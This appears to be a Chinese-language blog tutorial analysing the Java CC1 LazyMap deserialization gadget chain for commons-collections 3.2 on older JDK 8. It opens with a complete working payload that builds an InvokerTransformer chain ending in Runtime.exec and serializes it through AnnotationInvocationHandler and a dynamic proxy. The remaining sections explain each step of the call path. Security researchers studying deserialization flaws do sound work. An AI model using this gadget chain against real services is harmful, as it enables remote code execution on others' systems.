java反序列化–cc1(LazyMap)

环境:jdk8u65;commons-collections3.2

影响版本:< jdk8u71

    <dependency>
     <groupId>commons-collections</groupId>
     <artifactId>commons-collections</artifactId>
     <version>3.2</version>
   </dependency>

payload

package commonscollections3;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CC1LazyMap {
   public static void main(String[] args) throws Exception {
       Transformer[] transformers = new Transformer[] {
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
               new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
               new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
      };
       Transformer transformerChain = new ChainedTransformer(transformers);

       Map innermap = new HashMap();
       innermap.put("value", "xxx");
       Map outmap = LazyMap.decorate(innermap,transformerChain);

       Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

       Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);

       ctor.setAccessible(true);
       
       InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
       Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
       Object instance = ctor.newInstance(Retention.class, mapProxy);

       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
       out.writeObject(instance);
       out.close();

       ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
       in.readObject();
       in.close();
  }
}

LazyMap链和TransformedMap链在前面都相同,只是在调用ChainTransformer.transform()这里出现了不同,最终都是通过AnnotationInvocationHandler.readObject()触发反序列化

这里就不再赘述ChainTransformer.transform()之前的分析,不清楚的师傅可以去看之前cc1TransformedMap的文章

LazyMap.get()

可以看到此方法也能够调用transform方法,只是需要初始化factory

这里初始化factory的值的任务仍然交给了decorate方法来完成,跟进decorate方法,来到了LazyMap的构造方法,此时factory的值为ChainedTransformer对象,自然factory就被赋值成功了

AnnotationInvocationHandler.invoke()

我们选择AnnotationInvocationHandler.invoke()方法调用get方法,那么就需要memberValues为LazyMap对象

public Object invoke(Object proxy, Method method, Object[] args) {
       String member = method.getName();
       Class<?>[] paramTypes = method.getParameterTypes();

       // Handle Object and Annotation methods
...

       // Handle annotation member accessors
       Object result = memberValues.get(member);

...

       return result;
  }

赋值操作同样使用AnnotationInvocationHandler类的构造函数来进行,memberValues的值为LazyMap

java动态代理

接下来调用AnnotationInvocationHandler.invoke()需要用到java的动态代理

定义:动态代理是指在程序运行时,通过代理对象来间接调用目标对象的方法,并在调用前后插入额外的逻辑(例如日志、事务管理、权限校验等),从而实现功能增强。

用大白话说就是在调用一个对象的方法之前,劫持其中的某个函数,执行invoke方法内的代码,执行完成后再继续执行该对象内的其他方法。

这里用P神在java安全漫谈中举的例子

编写了一个ExampleInvocationHandler类,继承InvocationHandler代理接口,实现了invoke方法,当调用对象中的方法名含有get字符串时,打印输出内容。

package InvocationHandlerExamples;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
   protected Map map;
   public ExampleInvocationHandler(Map map) {
       this.map = map;
  }
   @Override
   public Object invoke(Object proxy, Method method, Object[] args) throws
           Throwable {
       if (method.getName().compareTo("get") == 0) {
           System.out.println("Hook method: " + method.getName());
           return "Hacked Object";
      }
       return method.invoke(this.map, args);
  }
}

new一个我们刚刚创建的ExampleInvocationHandler类,然后使用Proxy.newProxyInstance代理方法生成一个proxyMap对象,随便put进入值后,此时我们使用get获取键hello的对应值,便会触发invoke方法,打印输出Hook method: get Hacked Object,这样就调用了invoke方法。

package InvocationHandlerExamples;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class invokeExample {
   public static void main(String[] args) throws Exception {
       InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
       Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
       proxyMap.put("hello", "world");
       String result = (String) proxyMap.get("hello");
       System.out.println(result);
  }
}

Proxy(AnnotationInvocationHandler).entrySet()

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就是一个InvocationHandler(继承了InvocationHandler接口),我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke 方法中,进而触发我们的 LazyMap.get。

通过proxy代理后,调用entrySet()方法时会调用invoke方法

gadget

AnnotationInvocationHandler.readObject()
     Proxy(AnnotationInvocationHandler).entrySet()
        AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()
                    InvokerTransformer.transform()
                        Runtime.exec()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇